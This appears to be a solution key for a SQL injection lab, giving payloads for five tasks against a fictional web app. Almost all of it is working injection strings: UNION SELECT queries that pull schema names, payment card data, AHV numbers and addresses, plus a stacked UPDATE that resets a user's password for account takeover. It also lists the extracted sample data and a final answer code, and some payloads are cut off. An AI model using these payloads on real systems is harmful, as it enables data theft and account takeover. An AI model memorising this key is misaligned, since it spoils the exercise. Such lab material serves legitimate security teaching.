Possible Solution

Task 1

Injection target: Search field on page / Injection string: `1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = database() -- -`

Alternative

`WWOEIEJASLKDFJA' UNION ALL SELECT 'foo', TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' and 'asdf' like 'asdf` ## Task 2

- Injection target: Search field on page /
- Injection string:
  - Retrieve fields from user table: `1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name ='payments'-- -` - Retrieve data:
    * `1' and 1=2 union select 1,number from payments where user_id=7 -- -`
    * `1' and 1=2 union select 1,name from payments where user_id=7 -- -`
    * `1' and 1=2 union select 1,expirationDate from payments where user_id=7 -- -`
    * `1' and 1=2 union select 1,type from payments where user_id=7 -- -`
- Results: Number: 4716462877235423 Type: Visa Validity: 10/22 Name: Alice Hänni B.Sc.

Alternative

```
WWOEIEJASLKDFJA' UNION ALL SELECT 'foo', type FROM payments WHERE user_id =
(select id from users where username = 'hostettler.therese') UNION ALL SELECT
'foo', number FROM payments WHERE user_id = (select id from users where
username = 'hostettler.therese') UNION ALL SELECT 'foo', name FROM payments
WHERE user_id = (select id from users where username = 'hostettler.therese')
UNION ALL SELECT 'foo', expirationDate FROM payments WHERE user_id = (select
id from users where username = 'hostettler.therese') and 'asdf' like 'asdf
```

Task 3

- Visit /space/wyss.sara%5c/profile and get the needed table column names from the displayed error message (optional):
  - "dev user query (TODO: delete in produciton)"

  - "select id, name, username, email, phone, dob, iban, ahv, address, created_at from users where username = 'wyss.sara' and active = ? limit 1"

- Call the URL /space/wyss.sara'%20UNION%20SELECT%20'test',%20username,%20concat(ahv,%20'%20
- Scroll to the needed data - result:
  - AHV: 756.5186.6027.29
  - Adress: Aline-Studer-Weg 10140 Walenstadt
  - Date of Birth: 2002-11-30

Alternative

- Injection target: Search field on page `/`
- Inection string: `WWOEIEJASLKDFJA' UNION ALL SELECT 'foo', dob FROM users WHERE username = 'wyss.sara' UNION ALL SELECT 'foo', ahv FROM users WHERE username = 'wyss.sara' UNION ALL SELECT 'foo', address FROM users WHERE username = 'wyss.sara' and 'asdf' like 'asdf`

Task 4

- Injection target: hidden text box of any comment box
- Injection string: `'; UPDATE users SET password='$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/. -- -`

Inject following query the hidden text box of any comment box, and visit the `reactions/message` page. The wrong username (Update-Query) gets executed and the password is set, then it is possible to login to the account and get the code:

Alternative

- Injection target: comment field
- Injection string: `'; update users set password = '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC select 'foo', 'bar' from users where username like 'wyss.sara` ## Task 5

Emergency-Code: `fea4f1f11325040c7c65b77ab9be41bc`